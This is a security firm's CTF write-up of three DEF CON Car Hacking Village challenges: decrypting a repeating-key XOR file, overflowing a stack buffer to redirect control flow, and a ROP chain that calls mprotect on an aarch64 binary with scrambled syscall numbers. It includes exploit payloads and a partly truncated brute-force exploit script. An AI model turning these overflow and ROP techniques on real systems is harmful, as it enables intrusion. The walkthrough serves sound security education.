Red Balloon Security just wrapped up another trip to Las Vegas, Nevada, for DEF CON. This year, we brought three computer security challenges for the Car Hacking Village (CHV) Capture The Flag (CTF) competition.
Two of our challenges were geared towards beginners, and the third was intended to be more challenging. The three challenges gradually increased in difficulty, and were meant to be solved in order. All challenges could be found within the same firmware binary. In the end, the competition was fierce, and our challenges had several solves each.
The first challenge was a firmware unpacking problem with a cryptography component. The second challenge involved simple binary reverse engineering and exploitation. The third challenge featured much more advanced binary exploitation.
The third challenge was the highlight of our CTF work this year. It was built around Red Balloon’s recent research into system call (syscall) randomization. We took the system call numbers, and shuffled them in the syscall table in the kernel. We also changed every instance of a program making syscalls in userspace by walking the filesystem, statically analyzing, and finally patching executable binaries. We gave a talk about this syscall randomization research at ESCAR 2025.
The challenge itself involved exploiting a trivial buffer overflow in a userspace program. From there, a user could execute a ROP chain that would either let them read the flag directly, or run the mprotect syscall on a non-executable region that had code to print the flag, then branch there. Either way, participants needed a successful exploit and needed to find the syscall number for any call they wanted to use (by brute force, or using clever tricks).
In addition to the challenges in the CTF, we had a version of the syscall randomization challenge available with a $300 cash prize in $2 bills (it filled up a chalice on our table in the Car Hacking Village). Participants paid $1 into the jackpot to try their exploit, and the first successful solve won the whole pot. After some trial and error, and a lot of deliberating, a team of three was able to collect the cash.
Though it was also a fun way to draw interest and spice up the competition, the cash prize was designed to illustrate an important aspect of the challenge: system call randomization can make the act of exploiting a randomized system reduce to pure chance, even with a known vulnerability and exploit chain.
Challenge participants were given the following information:
In addition to the information above, participants were provided with a file called firmware.bin that was actually a ZIP containing a kernel image, a filesystem, and a run script.
firmware.bin
├── initrd
├── kernel
└── run.sh
#!/bin/sh
# We're running a challenge server that connects to a QEMU process like this
# one and runs the kernel and initrd. But the syscalls have been scrambled!
# See if you can get your exploits to run even though the system call table
# numbers are randomized in the kernel.
#
# There are several different images running on the server, each with a
# different set of randomized syscalls.
#
# To connect to the challenge server, do:
# nc syscall-ctf.redballoonsecurity.com 9999
#
# Some amount of brute forcing may be necessary to get exploits using syscalls
# to work on the servers. Please be polite to other players.
qemu-system-aarch64 \
-M virt \
-cpu cortex-a57 \
-nographic \
-smp 1 \
-m 512M \
-kernel kernel \
-initrd initrd \
-append 'console=ttyAMA0 rw quiet'
If we drop the original firmware.bin file into OFRAK, we find an interesting file in the initrd whose name seems to match with the challenge title:
When we actually look at the contents of the file, we can see that it contains gibberish, much of which is in printable ASCII range (we would expect less than 50% to be in this range for random bytes or a well-encrypted binary).
The challenge information and filename hint that the file is encrypted with a repeating-key XOR. The following is a program (in Zig) that brute-forces repeating key XOR ciphertexts looking for printable ASCII text.
const std = @import("std");
var stdout: @typeInfo(@TypeOf(std.fs.File.writer)).@"fn".return_type.? = undefined;
var ciphertext: []u8 = undefined;
var key: []u8 = undefined;
var best_score: u32 = 0;
fn score_char(c: u8) u32 {
return switch (c) {
'A'...'Z', 'a'...'z' => 3,
' ', '0'...'9' => 2,
0x21...0x2F, 0x3A...0x40, 0x5B...0x60, 0x7B...0x7E => 1,
0x0...0x1F, 0x7F...0xFF => 0,
};
}
fn try_key(plaintext: []u8) !void {
var score: u32 = 0;
for (plaintext, ciphertext, 0..) |*p, c, i| {
p.* = c ^ key[i % key.len];
score += score_char(p.*);
}
if (score >= best_score) {
best_score = score;
try stdout.print("({s}) {s}\n---\n", .{ key, plaintext });
}
}
fn try_all_keys(depth: u8, plaintext: []u8) !void {
if (depth >= key.len) return try try_key(plaintext);
for (0..256) |c| {
key[depth] = @intCast(c);
try try_all_keys(depth + 1, plaintext);
}
}
pub fn main() !void {
stdout = std.io.getStdOut().writer();
var arena = std.heap.ArenaAllocator.init(std.heap.page_allocator);
defer arena.deinit();
const allocator = arena.allocator();
const args = try std.process.argsAlloc(allocator);
defer std.process.argsFree(allocator, args);
if (args.len \n",
.{args[0]},
);
return;
}
ciphertext = std.fs.cwd().readFileAlloc(
allocator,
args[args.len - 1],
1024 * 1024 * 1024 * 4,
) catch fromhex: {
const cipher_hex = args[args.len - 1];
const c = try allocator.alloc(u8, cipher_hex.len / 2);
break :fromhex try std.fmt.hexToBytes(c, cipher_hex);
};
defer allocator.free(ciphertext);
const key_full = try allocator.alloc(u8, ciphertext.len);
defer allocator.free(key_full);
const plaintext = try allocator.alloc(u8, ciphertext.len);
defer allocator.free(plaintext);
for (1..ciphertext.len + 1) |key_length| {
key = key_full[0..key_length];
try try_all_keys(0, plaintext);
}
}
To run this code, we build it using Zig 0.14.1 with: zig build-exe -O ReleaseFast bruteforce.zig. After it is built, we can run it with ./bruteforce ./path_to_encrypted.bin.
There are some clever tricks that we could use to speed this up so it’s not pure brute force across all keys. But since we have it strongly implied from the challenge text that it’s a 4-byte repeating key XOR, we can just let it run for a while and keep the code simple.
Running it gives the following decrypted text:
Congratulations on decrypting the first part of the Red Balloon DEF CON CTF challenge at the car hacking village! Here is your flag:
flag{345y_keyzy_th1s_j0k3_i$_ch33zy}
In the unpacked firmware, we can use OFRAK to search the entire firmware for the flag prefix flag{. Doing so returns only one file: the init binary.
When we unpack the binary, there is one .text section – just one code region. Investigating that in OFRAK yields only a few functions.
Disassembling the function at 0x400048 gives a snippet that will print a flag. We can view the decompiled function in OFRAK.
4000e4: e8 04 80 d2 mov x8, #39
4000e8: 20 00 80 d2 mov x0, #1
4000ec: 21 01 00 58 ldr x1, 0x400110 <.text>
4000f0: 42 06 80 d2 mov x2, #50
4000f4: 01 00 00 d4 svc #0
4000f8: c0 03 5f d6 ret</.text>
Disassembling the function at 0x400048 returns a function with a trivial stack buffer overflow vulnerability that we can exploit.
To change the control flow, and get the print flag function to execute, all we need to do is pass an input string large enough to overflow the buffer. Then the last few bytes of the input are the return address we want to overwrite on the stack so that control flow returns to the print flag function.
(
sleep 4
python3 -c '
import sys, struct;
sys.stdout.buffer.write(b"A" * 88 + struct.pack("<q b sleep nc syscall-ctf.redballoonsecurity.com head>
</q>
This prints the flag.
Node ID: 50c925d7
Starting QEMU...
Welcome to RBS SCR CTF, Please input anything and it will echo back.
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA^@@^@^@^@^@^@
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@
flag{S!mpl3_ROP_N0_ch@in_r3qu1red_4_SUCCess_!1!!!}flag{S!mpl3_ROP_N0_ch@in_r3qu1red_4_SUCCess_!1!!!}flag{S!mpl3_ROP_N0_ch@in_r3qu1red_4_SUCCess_!1!!!}flag{S!mpl3_ROP_N0_ch@in_r3qu1red_4_SUCCess_!1!!!}flag{S!mpl3_ROP_N0_ch@in_r3qu1red_4_SUCCess_!1!!!}flag{S!mpl3_ROP_N0_ch@in_r3qu1red_4_SUCCess_!1!!!}flag{S!mpl3_ROP_N0_ch@in_r3qu1red_4_SUCCess_!1!!!}flag{S!mpl3_ROP_N0_ch@in_r3qu1red_4_SUCCess_!1!!!}flag{S!mpl3_ROP_N0_ch@in_r3qu1red_4_SUCCess_!1!!!}flag{S!mpl3_ROP_N0_ch@in_r3qu1red_4_SUCCess_!1!!!}flag{S!mpl3_ROP_N0_ch@in_r3qu1red_4_SUCCess_!1!!!}flag{S!mpl3_ROP_N0_ch@in_r3qu1red_4_SUCCess_!1!!!}flag{S!mpl3_ROP_N0_ch@in_r3qu1red_4_SUCCess_!1!!!}flag{S!mpl3_ROP_N0_ch@in_r3qu1red_4_SUCCess_!1!!!}flag{S!mp%
Either using OFRAK or another disassembly tool, we notice that there is a non-executable section in the binary called .shellcode.
If we look at cross-references for the flag strings in the binary, the references to the first flag come from the function we just jumped to to print the flag in challenge 2. But the references to the second flag come from this non-executable section of code.
$ objdump -j .shellcode -d init
init: file format elf64-littleaarch64
Disassembly of section .shellcode:
0000000000402000 <.shellcode>:
402000: e8 04 80 d2 mov x8, #39
402004: 20 00 80 d2 mov x0, #1
402008: c1 00 00 58 ldr x1, 0x402020 <.shellcode>
40200c: 62 06 80 d2 mov x2, #51
402010: 01 00 00 d4 svc #0
402014: 08 00 80 92 mov x8, #-1
402018: 00 00 80 d2 mov x0, #0
40201c: 01 00 00 d4 svc #0
402020: 7e 10 40 00 <unknown>
402024: 00 00 00 00 udf #0</unknown></.shellcode></.shellcode>
Disassembling this section, it appears to be very similar to the function we jumped to before, just with a different flag address. In order to jump here, we first need to mark the section as executable. To do this, we use a ROP chain to run the mprotect syscall. There is only one problem: the syscall numbers have been scrambled, and we don’t know which one corresponds to the mprotect syscall!
To find the mprotect syscall number, we will have to turn to brute force. There are several different randomized images on the server, and each time we connect, we get a different one. So instead of iterating the numbers and counting up until we hit the right one, we will just try a random number every time we connect until we get the flag.
#!/usr/bin/env python3
import random
import struct
import re
import time
from pwn import remote
def wait_for_input_prompt(conn):
buffer = b""
start_time = time.time()
while time.time() - start_time
Running this takes a little while, but eventually prints out a flag from a successful exploit:
[+] ing connection to syscall-ctf.redballoonsecurity.com on port 9999: Done
Response: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc0^@@^@^@^@^@^@M^@^@^@^@^@^@^@\x90^@@^@^@^@^@^@^@ @^@^@^@^@^@\xa0^@@^@^@^@^@^@^@^P^@^@^@^@^@^@\xb0^@@^@^@^@^@^@^G^@^@^@^@^@^@^@\xd0^@@^@^@^@^@^@\x90^@@^@^@^@^@^@^@ @^@^@^@^@^@\xe0^@@^@^@^@^@^@\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc0\x00@\x00\x00\x00\x00\x00M\x00\x00\x00\x00\x00\x00\x00\x90\x00@\x00\x00\x00\x00\x00\x00 @\x00\x00\x00\x00\x00\xa0\x00@\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\xb0\x00@\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\xd0\x00@\x00\x00\x00\x00\x00\x90\x00@\x00\x00\x00\x00\x00\x00 @\x00\x00\x00\x00\x00\xe0\x00@\x00\x00\x00\x00\x00\r\nflag{ROP_ch4in_t0_m4k3_sh3llc0d3_3x3cut4bl3_4rm64}\r\n[ 2.539538] Kernel panic - not syncing: Attempted to kill init! exitcode=0x00000004\r\n[ 2.541702] CPU: 0 PID: 1 Comm: init Tainted: G W 5.10.192 #1\r\n[ 2.542050] Hardware name: linux,dummy-virt (DT)\r\n[ 2.542701] Call trace:\r\n[ 2.543788] dump_backtrace+0x0/0x1e0\r\n[ 2.544300] show_stack+0x30/0x40\r\n[ 2.544512] dump_stack+0xf0/0x130\r\n[ 2.544713] panic+0x1a4/0x38c\r\n[ 2.544898] do_exit+0xafc/0xb00\r\n[ 2.545063] do_group_exit+0x4c/0xb0\r\n[ 2.545240] get_signal+0x184/0x8c0\r\n['
SUCCESS! Found flag
[*] Closed connection to syscall-ctf.redballoonsecurity.com port 9999
Contact us to learn more about our advanced embedded security solutions or schedule a demonstration with our experts.